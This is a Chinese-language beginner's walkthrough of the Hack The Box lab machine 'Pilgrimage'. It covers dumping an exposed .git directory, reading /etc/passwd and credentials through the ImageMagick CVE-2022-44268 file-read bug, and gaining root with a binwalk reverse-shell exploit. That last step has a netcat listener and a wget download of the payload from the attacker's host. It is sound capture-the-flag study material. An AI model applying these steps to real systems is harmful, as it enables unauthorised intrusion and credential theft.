记一次Hack The Box靶机:Pilgrimage(本人很菜)
建议
建议要多枚举信息,如果你找不到漏洞就说明你可能枚举的不够,如果你实在做不出再看wp
声明
本人很菜,如果写的有问题,请指出
枚举阶段
连接vpn
-
使用openvp连接到Hack The Box实验室
-
openvpn[空格][文件名]
-
-
ifconfig或者ip a查看ip地址
nmap扫描
一个22和一个80
22端口可以挂后台让他尝试爆破
然后我们进入浏览器枚举80端口
80端口枚举
打开网页会发现出现错误,这是因为dns解析问题,我们需要把ip地址和虚拟主机名手动添加到hosts文件中
echo "[ip地址][空格][虚拟主机名] >>/etc/hosts"
注意:这里一定写要两个>(大于号),如果只写一个>(大于会)会出现覆盖原文件现象
添加完后打开浏览器,继续枚举80端口
这是一个图像缩放功能的网页,有注册,登录页面和一个主页面
我们可以提交一张图片看看是什么情况
如图,上传完后返回了一个链接,点开后,它将我上传的图片进行了缩小。
但是现在并不是分析这个图片以及怎么创建出图片的时候。让我们回到正轨上,继续枚举信息
我们用wappalyzer这个插件枚举出了一些网站的技术,进行了一些谷歌搜索后似乎没有什么进展
让我们继续枚举信息
进行了一些列枚举之后,还是没有得到任何可用的信息
接下来我们使用gobuster以及dirsearch来枚举80端口
gobuster and dirsearch以及深入枚举
使用gobuster
也可以尝试枚举子域(本例中没有必要)
gobuster因为字典原因可能没有枚举出一些目录,让我们用dirsearch来枚举
使用dirsearch
我们看到dirsearch找到了一些目录,其中有一个.git的目录
Git ( / ɡɪt / ) [8]是一个分布式版本控制系统[9] ,可以跟踪任何一组计算机文件的更改,通常用于在软件开发过程中协调程序员之间协作开发源代码的工作。其目标包括速度、数据完整性以及对分布式非线性工作流程(在不同计算机上运行的数千个并行分支)的支持。[10] [11] [12]
大概意思就是当克隆一个github项目时,就会创建.git文件夹,然后记录我们的修改(可能理解的不正确)
接下来我们去搜索.git exploit得到一个网页
https://github.com/WangYihang/GitHacker
在里面了解到.git转储,我们可以利用这个工具直接转储对方机器上的.git目录下的文件
(因为上面的工具我没有使用过,所以我下面会用下面一个链接来演示)
https://github.com/arthaud/git-dumper
这里我们将使用git-dumper工具来演示
根据安装提示安装好工具后我们使用以下命令
./git_dumper.py [这里填网页的地址] [空格] [这里填写你要保存到哪里的位置]
运行完后,我们进入目录
继续枚举
在枚举后我们发现在index.php中有一段使用magick工具然后cpnvert什么什么从tmp下然后又到了shrunk中。
我们去搜索magick convert这个东西。找到了如下图所示的工具
然后我们在刚才的目录中也可以看到有一个magick的工具
接下来我们运行它
运行-usage选项后,我们看到了工具的版本,接下来我们继续搜索这个工具看有没有什么漏洞。
我们使用关键词"ImageMagick 7.1.0-49 exploit"搜索后,找到了漏洞利用
它将我们引导到了github上的一个网页
https://github.com/voidz0r/CVE-2022-44268
我们根据提示将它克隆下来,然后进入这个目录
根据github上的提示
cargo run “/etc/passwd"我们需要修改的是”/etc/passwd"的部分,这部分是我们可以控制的,再根据convert image.png -resize 50% output.png这条命令我们可以知道,cargo run “/etc/passwd"执行后会修改image.png这个文件,再根据漏洞名称,以及github上的提示,我们大概可以知道,我们需要上传图片,然后,把图片下载下来,最后查看图片的内容
注意:这里上传的是image.png图片,是在https://github.com/voidz0r/CVE-2022-44268这个里面的图片,不要自己改名字上传
然后右键save page as,下载到本地上
接下来我们使用这条命令分析图片
identify -verbose output.png
这里把output.png换成自己的
翻到底下会有一大串东西
根据github的这条命令
可以知道这是16进制,随便找个网站解密得到如图所示
可以看到成功利用了漏洞
立足点
得知了成功利用漏洞后,我们继续枚举,看看.git目录下还有什么敏感信息可以被我们利用
枚举了一段时间后,我们看到login.php文件中有一个类似数据库的地方,然后用这个地方来比较username和password,我们将使用这个/var/dv/pilgrimae这个路径配合上面的LFI(本地文件包含)来进行漏洞利用,最后解密16进制可以得到如下所示的用户名和密码
这里知道emi…是用户名的原因是因为上面passwd得到的用户名列表
接下来我们使用ssh登录用户即可得到user的flag
权限提升(这部分目前知识浅薄)
首先我们使用python模块创建一个http服务
python3 -m http.server 8000
然后我们上传一个pspy64来查看目标机器正在运行哪些进程
https://github.com/DominicBreuker/pspy
pspy的下载地址,里面有解释这个工具的作用是什么
可以看到目标有一个类似创建文件夹的进程和一个sh脚本,我们导航到sh文件看看在干什么
这里执行了一些binwalk的操作,然后检查shrunk目录的每一个新创建的文件,我们运行一下binwalk看看binwalk是什么版本
我们继续使用谷歌来搜索这个版本,看有没有漏洞可以利用
https://www.exploit-db.com/exploits/51249
再搜索后我们得到了以上这个链接,我们将使用这个工具来进行权限提升
根据代码我们知道需要提供一个图片,以及ip和端口来进行反向shell
我们根据要求提供这些信息,最后会生成一个binwalk_exploit.png文件
这个文件是自动生成的,如果找不到请用命令查找这个文件,不要手动创建或修改原图片的名字
然后我们开启nc监听
nc -lvnp [端口]
再进入/var/www/pilgrimage.htb/shrunk/这个目录,使用wget命令下载我们的binwalk_exploit.png文件
注意:如果下载不到,请注意你的python创建的http服务所在的目录位于哪里,通常情况下,这将取决于你在启动这个服务的目录下,比如:在/root目录下运行http服务,将只能下载root目录下的文件,所以如果下载不到binwalk_exploit.png,请将这个文件放入/root目录下
wget http://ip地址:指定的端口/文件名(这里是binwalk_exploit.png)
然后我们会再用ls查看是否下载成功
然后我们稍等一会儿,nc应该建立一个连接
root.txt位于/root目录下
鸣谢
感谢国外友人对本人提供的帮助,不然我会在枚举阶段一直痛苦下去
生活吐槽
这里不得不吐槽一下某区第X职业中学不让学生参加比赛的事,并且关闭实训室。以教育局对学校的偏见为理由,阻止学生维护自身利益的行动和其他恶心学生的行为